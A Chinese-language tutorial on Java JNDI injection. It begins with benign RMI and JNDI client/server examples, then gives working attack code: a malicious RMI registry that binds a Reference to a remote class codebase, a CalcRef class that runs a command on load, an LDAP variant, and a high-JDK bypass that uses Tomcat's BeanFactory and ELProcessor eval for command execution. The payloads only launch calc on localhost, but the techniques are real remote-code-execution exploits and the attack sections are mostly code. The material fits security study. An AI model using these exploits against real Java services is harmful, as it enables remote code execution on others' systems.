JNDI与RMI、LDAP的关系

JNDI (Java Naming and Directory Interface):是一个接口,一个统一的查询标准,本身不提供服务,只提供一套标准的API来查找东西

RMI (Remote Method Invocation) 和 LDAP (Lightweight Directory Access Protocol):是具体的服务,是两种不同类型的实现。它们是真正存储信息、提供对象的地方

RMI 实现

远程接口 IRmoteObj.java:

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRmoteObj extends Remote {
    String sayHello(String name) throws RemoteException;
}

服务器对象实现 RmoteObjImpl.java:

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RmoteObjImpl extends UnicastRemoteObject implements IRmoteObj{
    public RmoteObjImpl() throws RemoteException {
        super();
    }

    @Override
    public String sayHello(String name) throws RemoteException {
        System.out.println("sayHello");
        return name;
    }
}

服务器注册和绑定 RMIServer.java:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) throws Exception {
        RmoteObjImpl remoteObj = new RmoteObjImpl();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.rebind("remoteObj", remoteObj);
    }
}

客户端查找和调用 RMIClient.java:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
        IRmoteObj remoteObj = (IRmoteObj) registry.lookup("remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

JNDI RMI 实现

JNDIRMIServer.java:

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        RmoteObjImpl remoteObj = new RmoteObjImpl();
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", remoteObj);
    }
}

JNDIRMIClinet.java:

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String args[]) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRmoteObj remoteObj = (IRmoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
        System.out.println(remoteObj.sayHello("hello"));
    }
}

JNDI RMI 注入

攻击者在自己服务器上构造恶意的JNDI RMI服务,JNDIRMIServer.java:

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
//        RmoteObjImpl remoteObj = new RmoteObjImpl();
        InitialContext initialContext = new InitialContext();
//        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", remoteObj);
        Reference refObj = new Reference("CalcRef", "CalcRef", "http://127.0.0.1:1088/");
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", refObj);
    }
}

CalcRef.java:

import java.io.IOException;

public class CalcRef {
    public CalcRef() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

同时要求JNDIRMIClient端lookup参数可控,JNDIRMIClient.java:

import javax.naming.InitialContext;

public class JNDIRMIClient {
    public static void main(String args[]) throws Exception {
        InitialContext initialContext = new InitialContext();
        IRmoteObj remoteObj = (IRmoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");  // 此处应是攻击者ip
        System.out.println(remoteObj.sayHello("hello"));
    }
}

Java 8u121+ (包括 Java 9, 11, 17, 21 等): Oracle 引入了安全补丁,将 com.sun.jndi.rmi.object.trustURLCodebase 默认设置为 false。这直接阻止了 JVM 从 Codebase URL 加载远程类,使 RMI 协议的 JNDI 注入几乎无法利用

JNDI LADP 注入

import javax.naming.InitialContext;
import javax.naming.Reference;

public class JNDILDAPServer {
    public static void main(String[] args) throws Exception {
        Reference refObj = new Reference("CalcRef", "CalcRef", "http://127.0.0.1:1088/");
        InitialContext initialContext = new InitialContext();
        initialContext.rebind("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com", refObj);
    }
}
import javax.naming.InitialContext;

public class JNDILDAPClient {
    public static void main(String[] args) throws Exception {
        InitialContext initialContext = new InitialContext();
        initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");
    }
}

JNDI jdk高版本注入

需要添加tomcat相关依赖,pom.xml:

<dependencies>
    <!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
    <dependency>
        <groupId>org.apache.tomcat.embed</groupId>
        <artifactId>tomcat-embed-core</artifactId>
        <version>8.5.71</version>
    </dependency>

    <dependency>
        <groupId>javax.el</groupId>
        <artifactId>javax.el-api</artifactId>
        <version>3.0.0</version>
    </dependency>
    <dependency>
        <groupId>org.glassfish</groupId>
        <artifactId>javax.el</artifactId>
        <version>3.0.0</version>
    </dependency>
</dependencies>

JNDIRMIServerHighBypass.java:

import org.apache.naming.ResourceRef;

import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServerHighBypass {
    public static void main(String[] args) throws Exception {
        LocateRegistry.createRegistry(1099);
        InitialContext initialContext = new InitialContext();
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));
        resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
        initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", resourceRef);
    }
}